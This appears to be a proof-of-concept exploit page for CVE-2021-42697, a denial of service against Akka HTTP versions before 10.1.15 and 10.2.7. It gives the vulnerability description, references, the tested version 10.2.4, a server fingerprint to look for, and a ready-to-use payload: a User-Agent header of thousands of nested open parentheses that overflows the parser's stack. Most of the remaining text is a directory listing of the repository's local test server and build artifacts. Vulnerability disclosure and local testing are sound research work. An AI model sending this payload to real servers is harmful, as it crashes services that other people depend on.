Proof of concept exploit for CVE-2021-42697: Akka HTTP 10.1.x before 10.1.15 and 10.2.x before 10.2.7 can encounter stack exhaustion while parsing HTTP headers, which allows a remote attacker to conduct a Denial of Service attack by sending a User-Agent header with deeply nested comments.Akka HTTP 10.1.x before 10.1.15 and 10.2.x before 10.2.7 can encounter stack exhaustion while parsing HTTP headers, which allows a remote attacker to conduct a Denial of Service attack by sending a User-Agent header with deeply nested comments.
# References
[MITRE](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-42697)
[Akka blog](https://doc.akka.io/docs/akka-http/current/security/2021-CVE-2021-42697-stack-overflow-parsing-user-agent.html)
[Arbitrary nesting of comments](https://datatracker.ietf.org/doc/html/rfc7230#section-3.2.6)
[Basic Akka setup guide](https://blog.rockthejvm.com/akka-http-to-heroku-in-x-minutes/)
# PoC Notes
* Version tested against: `10.2.4`
* Target server fingerprint: `akka-http/<version>`
* Payload snippet: `User-Agent: (((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((`
* Produces stack overflow in Akka HTTP which results in DoS
* Can use scala-akka-http-server-example/ contents to test against locally (launches on `http://localhost:8082` with `sbt > compile > run`)
[4.0K] /data/pocs/ba318cbd6675a1e6e13e5d5e933c12ef29ba1e16
├── [2.4K] CVE-2021-42697.py
├── [8.9K] README.md
├── [ 17] requirements.txt
└── [4.0K] scala-akka-http-server-example
├── [ 495] build.sbt
├── [1.0K] LICENSE
├── [4.0K] project
│ ├── [ 18] build.properties
│ └── [4.0K] target
│ ├── [4.0K] config-classes
│ │ ├── [5.0K] $8cd93eb5933cc458f6a3$.class
│ │ ├── [ 5] $8cd93eb5933cc458f6a3.cache
│ │ └── [ 573] $8cd93eb5933cc458f6a3.class
│ ├── [4.0K] scala-2.12
│ │ └── [4.0K] sbt-1.0
│ │ ├── [4.0K] sync
│ │ │ └── [ 12] copy-resource
│ │ └── [4.0K] update
│ │ └── [4.0K] update_cache_2.12
│ │ ├── [ 10] inputs
│ │ └── [ 19K] output
│ └── [4.0K] streams
│ ├── [4.0K] compile
│ │ ├── [4.0K] bspReporter
│ │ │ └── [4.0K] _global
│ │ │ └── [4.0K] streams
│ │ │ └── [ 0] out
│ │ ├── [4.0K] compile
│ │ │ └── [4.0K] _global
│ │ │ └── [4.0K] streams
│ │ │ └── [ 0] out
│ │ ├── [4.0K] compileIncremental
│ │ │ └── [4.0K] _global
│ │ │ └── [4.0K] streams
│ │ │ ├── [ 0] export
│ │ │ └── [ 565] out
│ │ ├── [4.0K] copyResources
│ │ │ └── [4.0K] _global
│ │ │ └── [4.0K] streams
│ │ │ └── [ 99] out
│ │ ├── [4.0K] dependencyClasspath
│ │ │ └── [4.0K] _global
│ │ │ └── [4.0K] streams
│ │ │ └── [7.6K] export
│ │ ├── [4.0K] exportedProducts
│ │ │ └── [4.0K] _global
│ │ │ └── [4.0K] streams
│ │ │ └── [ 123] export
│ │ ├── [4.0K] externalDependencyClasspath
│ │ │ └── [4.0K] _global
│ │ │ └── [4.0K] streams
│ │ │ └── [7.6K] export
│ │ ├── [4.0K] _global
│ │ │ └── [4.0K] _global
│ │ │ ├── [4.0K] compileOutputs
│ │ │ │ └── [ 199] previous
│ │ │ └── [4.0K] discoveredMainClasses
│ │ │ └── [ 2] data
│ │ ├── [4.0K] incOptions
│ │ │ └── [4.0K] _global
│ │ │ └── [4.0K] streams
│ │ │ └── [ 446] out
│ │ ├── [4.0K] internalDependencyClasspath
│ │ │ └── [4.0K] _global
│ │ │ └── [4.0K] streams
│ │ │ ├── [ 1] export
│ │ │ └── [ 0] out
│ │ ├── [4.0K] managedClasspath
│ │ │ └── [4.0K] _global
│ │ │ └── [4.0K] streams
│ │ │ └── [7.6K] export
│ │ ├── [4.0K] scalacOptions
│ │ │ └── [4.0K] _global
│ │ │ └── [4.0K] streams
│ │ │ └── [ 0] out
│ │ ├── [4.0K] unmanagedClasspath
│ │ │ └── [4.0K] _global
│ │ │ └── [4.0K] streams
│ │ │ ├── [ 1] export
│ │ │ └── [ 0] out
│ │ └── [4.0K] unmanagedJars
│ │ └── [4.0K] _global
│ │ └── [4.0K] streams
│ │ └── [ 1] export
│ ├── [4.0K] _global
│ │ ├── [4.0K] csrConfiguration
│ │ │ └── [4.0K] _global
│ │ │ └── [4.0K] streams
│ │ │ └── [ 0] out
│ │ ├── [4.0K] csrProject
│ │ │ └── [4.0K] _global
│ │ │ └── [4.0K] streams
│ │ │ └── [ 0] out
│ │ ├── [4.0K] dependencyPositions
│ │ │ └── [4.0K] _global
│ │ │ └── [4.0K] streams
│ │ │ └── [4.0K] update_cache_2.12
│ │ │ ├── [ 10] input_dsp
│ │ │ └── [ 450] output_dsp
│ │ ├── [4.0K] _global
│ │ │ └── [4.0K] _global
│ │ │ └── [4.0K] streams
│ │ │ └── [ 0] out
│ │ ├── [4.0K] ivyConfiguration
│ │ │ └── [4.0K] _global
│ │ │ └── [4.0K] streams
│ │ │ └── [ 0] out
│ │ ├── [4.0K] ivySbt
│ │ │ └── [4.0K] _global
│ │ │ └── [4.0K] streams
│ │ │ └── [ 0] out
│ │ ├── [4.0K] moduleSettings
│ │ │ └── [4.0K] _global
│ │ │ └── [4.0K] streams
│ │ │ └── [ 0] out
│ │ ├── [4.0K] projectDescriptors
│ │ │ └── [4.0K] _global
│ │ │ └── [4.0K] streams
│ │ │ └── [ 0] out
│ │ ├── [4.0K] scalaCompilerBridgeScope
│ │ │ └── [4.0K] _global
│ │ │ └── [4.0K] streams
│ │ │ └── [ 0] out
│ │ └── [4.0K] update
│ │ └── [4.0K] _global
│ │ └── [4.0K] streams
│ │ └── [ 490] out
│ └── [4.0K] runtime
│ ├── [4.0K] dependencyClasspath
│ │ └── [4.0K] _global
│ │ └── [4.0K] streams
│ │ └── [7.8K] export
│ ├── [4.0K] exportedProducts
│ │ └── [4.0K] _global
│ │ └── [4.0K] streams
│ │ └── [ 123] export
│ ├── [4.0K] externalDependencyClasspath
│ │ └── [4.0K] _global
│ │ └── [4.0K] streams
│ │ └── [7.6K] export
│ ├── [4.0K] fullClasspath
│ │ └── [4.0K] _global
│ │ └── [4.0K] streams
│ │ └── [7.8K] export
│ ├── [4.0K] internalDependencyClasspath
│ │ └── [4.0K] _global
│ │ └── [4.0K] streams
│ │ ├── [ 123] export
│ │ └── [ 0] out
│ ├── [4.0K] managedClasspath
│ │ └── [4.0K] _global
│ │ └── [4.0K] streams
│ │ └── [7.6K] export
│ ├── [4.0K] unmanagedClasspath
│ │ └── [4.0K] _global
│ │ └── [4.0K] streams
│ │ ├── [ 1] export
│ │ └── [ 0] out
│ └── [4.0K] unmanagedJars
│ └── [4.0K] _global
│ └── [4.0K] streams
│ └── [ 1] export
├── [4.0K] src
│ └── [4.0K] main
│ ├── [4.0K] resources
│ │ └── [ 138] application.conf
│ └── [4.0K] scala
│ └── [ 996] Main.scala
└── [4.0K] target
├── [4.0K] bg-jobs
│ ├── [4.0K] sbt_1ed4ee8e
│ │ └── [4.0K] target
│ │ ├── [4.0K] 078ec522
│ │ │ └── [4.0K] fea7cc6a
│ │ │ └── [1.8M] akka-http_2.13-10.2.4.jar
│ │ ├── [4.0K] 0b1ad5dd
│ │ │ └── [4.0K] ce3954d8
│ │ │ └── [ 16K] akka-http-spray-json_2.13-10.2.4.jar
│ │ ├── [4.0K] 1c958b51
│ │ │ └── [4.0K] f37c3245
│ │ │ └── [ 17K] akka-slf4j_2.13-2.6.14.jar
│ │ ├── [4.0K] 212f400f
│ │ │ └── [4.0K] c46b6b30
│ │ │ └── [296K] ssl-config-core_2.13-0.4.2.jar
│ │ ├── [4.0K] 2fed10be
│ │ │ └── [4.0K] 65a4d7a3
│ │ │ └── [287K] config-1.4.0.jar
│ │ ├── [4.0K] 3265bc28
│ │ │ └── [4.0K] c0ccad12
│ │ │ └── [4.5M] akka-stream_2.13-2.6.14.jar
│ │ ├── [4.0K] 37c727f5
│ │ │ └── [4.0K] 0dbe4276
│ │ │ └── [290K] spray-json_2.13-1.3.6.jar
│ │ ├── [4.0K] 43eaee7d
│ │ │ └── [4.0K] de058565
│ │ │ └── [ 29K] akka-stream-typed_2.13-2.6.14.jar
│ │ ├── [4.0K] 5009d6de
│ │ │ └── [4.0K] 8fa64fae
│ │ │ └── [ 11K] reactive-streams-1.0.3.jar
│ │ ├── [4.0K] 59dd5f0f
│ │ │ └── [4.0K] 11210362
│ │ │ └── [5.6M] scala-library-2.13.5.jar
│ │ ├── [4.0K] 74317539
│ │ │ └── [4.0K] 1b909293
│ │ │ └── [952K] akka-parsing_2.13-10.2.4.jar
│ │ ├── [4.0K] 7be317c9
│ │ │ └── [4.0K] cb34b137
│ │ │ └── [625K] scala-java8-compat_2.13-0.9.0.jar
│ │ ├── [4.0K] adb034c7
│ │ │ └── [4.0K] bbab2e69
│ │ │ └── [1.1M] scala3-library_3.0.0-RC1-3.0.0-RC1.jar
│ │ ├── [4.0K] b7a2f5f4
│ │ │ └── [4.0K] d1796059
│ │ │ └── [ 29K] hpack-1.0.2.jar
│ │ ├── [4.0K] d1985780
│ │ │ └── [4.0K] a35d9d01
│ │ │ └── [1.1M] akka-actor-typed_2.13-2.6.14.jar
│ │ ├── [4.0K] dab53d54
│ │ │ └── [4.0K] 60297e34
│ │ │ └── [1.6M] akka-protobuf-v3_2.13-2.6.14.jar
│ │ ├── [4.0K] dd772373
│ │ │ └── [4.0K] de51ef4b
│ │ │ └── [220K] scala-parser-combinators_2.13-1.1.2.jar
│ │ ├── [4.0K] de10390b
│ │ │ └── [4.0K] cb979581
│ │ │ └── [4.0M] akka-http-core_2.13-10.2.4.jar
│ │ ├── [4.0K] e336cc54
│ │ │ └── [4.0K] c95777a2
│ │ │ └── [ 87K] akka-http-cors_2.13-1.1.1.jar
│ │ ├── [4.0K] f32d8730
│ │ │ └── [4.0K] 9f4f0e8c
│ │ │ └── [ 40K] slf4j-api-1.7.30.jar
│ │ └── [4.0K] fef2d364
│ │ └── [4.0K] d142e38e
│ │ └── [3.5M] akka-actor_2.13-2.6.14.jar
│ ├── [4.0K] sbt_7ddf0db5
│ │ └── [4.0K] target
│ │ ├── [4.0K] 078ec522
│ │ │ └── [4.0K] fea7cc6a
│ │ │ └── [1.8M] akka-http_2.13-10.2.4.jar
│ │ ├── [4.0K] 0b1ad5dd
│ │ │ └── [4.0K] ce3954d8
│ │ │ └── [ 16K] akka-http-spray-json_2.13-10.2.4.jar
│ │ ├── [4.0K] 1c958b51
│ │ │ └── [4.0K] f37c3245
│ │ │ └── [ 17K] akka-slf4j_2.13-2.6.14.jar
│ │ ├── [4.0K] 212f400f
│ │ │ └── [4.0K] c46b6b30
│ │ │ └── [296K] ssl-config-core_2.13-0.4.2.jar
│ │ ├── [4.0K] 2fed10be
│ │ │ └── [4.0K] 65a4d7a3
│ │ │ └── [287K] config-1.4.0.jar
│ │ ├── [4.0K] 3265bc28
│ │ │ └── [4.0K] c0ccad12
│ │ │ └── [4.5M] akka-stream_2.13-2.6.14.jar
│ │ ├── [4.0K] 37c727f5
│ │ │ └── [4.0K] 0dbe4276
│ │ │ └── [290K] spray-json_2.13-1.3.6.jar
│ │ ├── [4.0K] 43eaee7d
│ │ │ └── [4.0K] de058565
│ │ │ └── [ 29K] akka-stream-typed_2.13-2.6.14.jar
│ │ ├── [4.0K] 5009d6de
│ │ │ └── [4.0K] 8fa64fae
│ │ │ └── [ 11K] reactive-streams-1.0.3.jar
│ │ ├── [4.0K] 59dd5f0f
│ │ │ └── [4.0K] 11210362
│ │ │ └── [5.6M] scala-library-2.13.5.jar
│ │ ├── [4.0K] 74317539
│ │ │ └── [4.0K] 1b909293
│ │ │ └── [952K] akka-parsing_2.13-10.2.4.jar
│ │ ├── [4.0K] 7be317c9
│ │ │ └── [4.0K] cb34b137
│ │ │ └── [625K] scala-java8-compat_2.13-0.9.0.jar
│ │ ├── [4.0K] adb034c7
│ │ │ └── [4.0K] bbab2e69
│ │ │ └── [1.1M] scala3-library_3.0.0-RC1-3.0.0-RC1.jar
│ │ ├── [4.0K] b7a2f5f4
│ │ │ └── [4.0K] d1796059
│ │ │ └── [ 29K] hpack-1.0.2.jar
│ │ ├── [4.0K] d1985780
│ │ │ └── [4.0K] a35d9d01
│ │ │ └── [1.1M] akka-actor-typed_2.13-2.6.14.jar
│ │ ├── [4.0K] dab53d54
│ │ │ └── [4.0K] 60297e34
│ │ │ └── [1.6M] akka-protobuf-v3_2.13-2.6.14.jar
│ │ ├── [4.0K] dd772373
│ │ │ └── [4.0K] de51ef4b
│ │ │ └── [220K] scala-parser-combinators_2.13-1.1.2.jar
│ │ ├── [4.0K] de10390b
│ │ │ └── [4.0K] cb979581
│ │ │ └── [4.0M] akka-http-core_2.13-10.2.4.jar
│ │ ├── [4.0K] e336cc54
│ │ │ └── [4.0K] c95777a2
│ │ │ └── [ 87K] akka-http-cors_2.13-1.1.1.jar
│ │ ├── [4.0K] f32d8730
│ │ │ └── [4.0K] 9f4f0e8c
│ │ │ └── [ 40K] slf4j-api-1.7.30.jar
│ │ └── [4.0K] fef2d364
│ │ └── [4.0K] d142e38e
│ │ └── [3.5M] akka-actor_2.13-2.6.14.jar
│ └── [4.0K] sbt_86d98079
│ └── [4.0K] target
│ ├── [4.0K] 078ec522
│ │ └── [4.0K] fea7cc6a
│ │ └── [1.8M] akka-http_2.13-10.2.4.jar
│ ├── [4.0K] 0b1ad5dd
│ │ └── [4.0K] ce3954d8
│ │ └── [ 16K] akka-http-spray-json_2.13-10.2.4.jar
│ ├── [4.0K] 1c958b51
│ │ └── [4.0K] f37c3245
│ │ └── [ 17K] akka-slf4j_2.13-2.6.14.jar
│ ├── [4.0K] 212f400f
│ │ └── [4.0K] c46b6b30
│ │ └── [296K] ssl-config-core_2.13-0.4.2.jar
│ ├── [4.0K] 2fed10be
│ │ └── [4.0K] 65a4d7a3
│ │ └── [287K] config-1.4.0.jar
│ ├── [4.0K] 3265bc28
│ │ └── [4.0K] c0ccad12
│ │ └── [4.5M] akka-stream_2.13-2.6.14.jar
│ ├── [4.0K] 37c727f5
│ │ └── [4.0K] 0dbe4276
│ │ └── [290K] spray-json_2.13-1.3.6.jar
│ ├── [4.0K] 43eaee7d
│ │ └── [4.0K] de058565
│ │ └── [ 29K] akka-stream-typed_2.13-2.6.14.jar
│ ├── [4.0K] 5009d6de
│ │ └── [4.0K] 8fa64fae
│ │ └── [ 11K] reactive-streams-1.0.3.jar
│ ├── [4.0K] 59dd5f0f
│ │ └── [4.0K] 11210362
│ │ └── [5.6M] scala-library-2.13.5.jar
│ ├── [4.0K] 74317539
│ │ └── [4.0K] 1b909293
│ │ └── [952K] akka-parsing_2.13-10.2.4.jar
│ ├── [4.0K] 7be317c9
│ │ └── [4.0K] cb34b137
│ │ └── [625K] scala-java8-compat_2.13-0.9.0.jar
│ ├── [4.0K] adb034c7
│ │ └── [4.0K] bbab2e69
│ │ └── [1.1M] scala3-library_3.0.0-RC1-3.0.0-RC1.jar
│ ├── [4.0K] b7a2f5f4
│ │ └── [4.0K] d1796059
│ │ └── [ 29K] hpack-1.0.2.jar
│ ├── [4.0K] d1985780
│ │ └── [4.0K] a35d9d01
│ │ └── [1.1M] akka-actor-typed_2.13-2.6.14.jar
│ ├── [4.0K] dab53d54
│ │ └── [4.0K] 60297e34
│ │ └── [1.6M] akka-protobuf-v3_2.13-2.6.14.jar
│ ├── [4.0K] dd772373
│ │ └── [4.0K] de51ef4b
│ │ └── [220K] scala-parser-combinators_2.13-1.1.2.jar
│ ├── [4.0K] de10390b
│ │ └── [4.0K] cb979581
│ │ └── [4.0M] akka-http-core_2.13-10.2.4.jar
│ ├── [4.0K] e336cc54
│ │ └── [4.0K] c95777a2
│ │ └── [ 87K] akka-http-cors_2.13-1.1.1.jar
│ ├── [4.0K] f32d8730
│ │ └── [4.0K] 9f4f0e8c
│ │ └── [ 40K] slf4j-api-1.7.30.jar
│ └── [4.0K] fef2d364
│ └── [4.0K] d142e38e
│ └── [3.5M] akka-actor_2.13-2.6.14.jar
├── [4.0K] global-logging
│ ├── [ 13K] sbt-global-log10856605279440436157.log
│ ├── [ 504] sbt-global-log2480322838367251945.log
│ ├── [ 13K] sbt-global-log2717793450453087622.log
│ ├── [ 683] sbt-global-log6604181192830772676.log
│ ├── [ 504] sbt-global-log7155989621274867918.log
│ └── [ 13K] sbt-global-log974962963824518192.log
├── [4.0K] scala-3.0.0-RC1
│ ├── [4.0K] classes
│ │ ├── [ 138] application.conf
│ │ ├── [6.4K] Main$package$.class
│ │ ├── [ 268] Main$package.class
│ │ ├── [2.6K] Main$package.tasty
│ │ ├── [1.6K] User$.class
│ │ ├── [3.8K] User.class
│ │ ├── [ 889] userSerice.class
│ │ ├── [ 940] userSerice.tasty
│ │ └── [2.7K] User.tasty
│ ├── [ 12K] scala3-akka-http-server_3.0.0-RC1-0.1.0.jar
│ ├── [4.0K] sync
│ │ └── [ 431] copy-resource
│ ├── [4.0K] update
│ │ └── [4.0K] update_cache_3.0.0-RC1
│ │ ├── [ 11] inputs
│ │ └── [182K] output
│ └── [4.0K] zinc
│ └── [3.8K] inc_compile_3.0.0-RC1.zip
└── [4.0K] streams
├── [4.0K] compile
│ ├── [4.0K] bspReporter
│ │ └── [4.0K] _global
│ │ └── [4.0K] streams
│ │ └── [ 0] out
│ ├── [4.0K] compile
│ │ └── [4.0K] _global
│ │ └── [4.0K] streams
│ │ └── [ 0] out
│ ├── [4.0K] compileIncremental
│ │ └── [4.0K] _global
│ │ └── [4.0K] streams
│ │ ├── [ 0] export
│ │ └── [ 558] out
│ ├── [4.0K] copyResources
│ │ └── [4.0K] _global
│ │ └── [4.0K] streams
│ │ └── [ 346] out
│ ├── [4.0K] dependencyClasspath
│ │ └── [4.0K] _global
│ │ └── [4.0K] streams
│ │ └── [2.7K] export
│ ├── [4.0K] exportedProductJars
│ │ └── [4.0K] _global
│ │ └── [4.0K] streams
│ │ └── [ 148] export
│ ├── [4.0K] exportedProducts
│ │ └── [4.0K] _global
│ │ └── [4.0K] streams
│ │ └── [ 112] export
│ ├── [4.0K] externalDependencyClasspath
│ │ └── [4.0K] _global
│ │ └── [4.0K] streams
│ │ └── [2.7K] export
│ ├── [4.0K] _global
│ │ └── [4.0K] _global
│ │ ├── [4.0K] compileOutputs
│ │ │ └── [ 842] previous
│ │ └── [4.0K] discoveredMainClasses
│ │ └── [ 14] data
│ ├── [4.0K] incOptions
│ │ └── [4.0K] _global
│ │ └── [4.0K] streams
│ │ └── [ 424] out
│ ├── [4.0K] internalDependencyClasspath
│ │ └── [4.0K] _global
│ │ └── [4.0K] streams
│ │ ├── [ 1] export
│ │ └── [ 0] out
│ ├── [4.0K] mainClass
│ │ └── [4.0K] _global
│ │ └── [4.0K] streams
│ │ └── [ 0] out
│ ├── [4.0K] managedClasspath
│ │ └── [4.0K] _global
│ │ └── [4.0K] streams
│ │ └── [2.7K] export
│ ├── [4.0K] packageBin
│ │ └── [4.0K] _global
│ │ └── [4.0K] streams
│ │ ├── [ 10] inputs
│ │ ├── [ 198] out
│ │ └── [ 11] output
│ ├── [4.0K] scalacOptions
│ │ └── [4.0K] _global
│ │ └── [4.0K] streams
│ │ └── [ 0] out
│ ├── [4.0K] unmanagedClasspath
│ │ └── [4.0K] _global
│ │ └── [4.0K] streams
│ │ ├── [ 1] export
│ │ └── [ 0] out
│ └── [4.0K] unmanagedJars
│ └── [4.0K] _global
│ └── [4.0K] streams
│ └── [ 1] export
├── [4.0K] _global
│ ├── [4.0K] csrConfiguration
│ │ └── [4.0K] _global
│ │ └── [4.0K] streams
│ │ └── [ 0] out
│ ├── [4.0K] csrProject
│ │ └── [4.0K] _global
│ │ └── [4.0K] streams
│ │ └── [ 0] out
│ ├── [4.0K] dependencyPositions
│ │ └── [4.0K] _global
│ │ └── [4.0K] streams
│ │ └── [4.0K] update_cache_3.0.0-RC1
│ │ ├── [ 9] input_dsp
│ │ └── [2.7K] output_dsp
│ ├── [4.0K] _global
│ │ └── [4.0K] _global
│ │ └── [4.0K] streams
│ │ └── [ 0] out
│ ├── [4.0K] ivyConfiguration
│ │ └── [4.0K] _global
│ │ └── [4.0K] streams
│ │ └── [ 0] out
│ ├── [4.0K] ivySbt
│ │ └── [4.0K] _global
│ │ └── [4.0K] streams
│ │ └── [ 0] out
│ ├── [4.0K] moduleSettings
│ │ └── [4.0K] _global
│ │ └── [4.0K] streams
│ │ └── [ 0] out
│ ├── [4.0K] projectDescriptors
│ │ └── [4.0K] _global
│ │ └── [4.0K] streams
│ │ └── [ 0] out
│ ├── [4.0K] scalaCompilerBridgeScope
│ │ └── [4.0K] _global
│ │ └── [4.0K] streams
│ │ └── [ 0] out
│ └── [4.0K] update
│ └── [4.0K] _global
│ └── [4.0K] streams
│ └── [ 184] out
└── [4.0K] runtime
├── [4.0K] dependencyClasspathAsJars
│ └── [4.0K] _global
│ └── [4.0K] streams
│ └── [2.8K] export
├── [4.0K] exportedProductJars
│ └── [4.0K] _global
│ └── [4.0K] streams
│ └── [ 148] export
├── [4.0K] externalDependencyClasspath
│ └── [4.0K] _global
│ └── [4.0K] streams
│ └── [2.7K] export
├── [4.0K] fullClasspathAsJars
│ └── [4.0K] _global
│ └── [4.0K] streams
│ └── [2.8K] export
├── [4.0K] internalDependencyAsJars
│ └── [4.0K] _global
│ └── [4.0K] streams
│ ├── [ 148] export
│ └── [ 0] out
├── [4.0K] managedClasspath
│ └── [4.0K] _global
│ └── [4.0K] streams
│ └── [2.7K] export
├── [4.0K] unmanagedClasspath
│ └── [4.0K] _global
│ └── [4.0K] streams
│ ├── [ 1] export
│ └── [ 0] out
└── [4.0K] unmanagedJars
└── [4.0K] _global
